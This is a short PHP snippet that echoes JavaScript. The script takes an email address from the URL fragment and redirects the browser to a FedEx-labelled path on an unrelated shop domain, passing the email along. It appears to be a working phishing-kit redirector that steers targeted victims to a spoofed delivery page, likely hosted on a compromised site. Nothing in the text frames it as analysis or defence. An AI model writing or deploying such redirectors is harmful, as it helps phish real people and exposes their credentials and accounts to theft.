echo '
<script type="text/javascript" >
	function validateEmail(email) {
	  var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
	  return re.test(email);
	}
	var hash = window.location.hash.substring(1);
	if(validateEmail(hash)) {
		window.location = "https://sistasistaknitwear.co.uk/Fedex/?email="+hash;
	}
</script>
';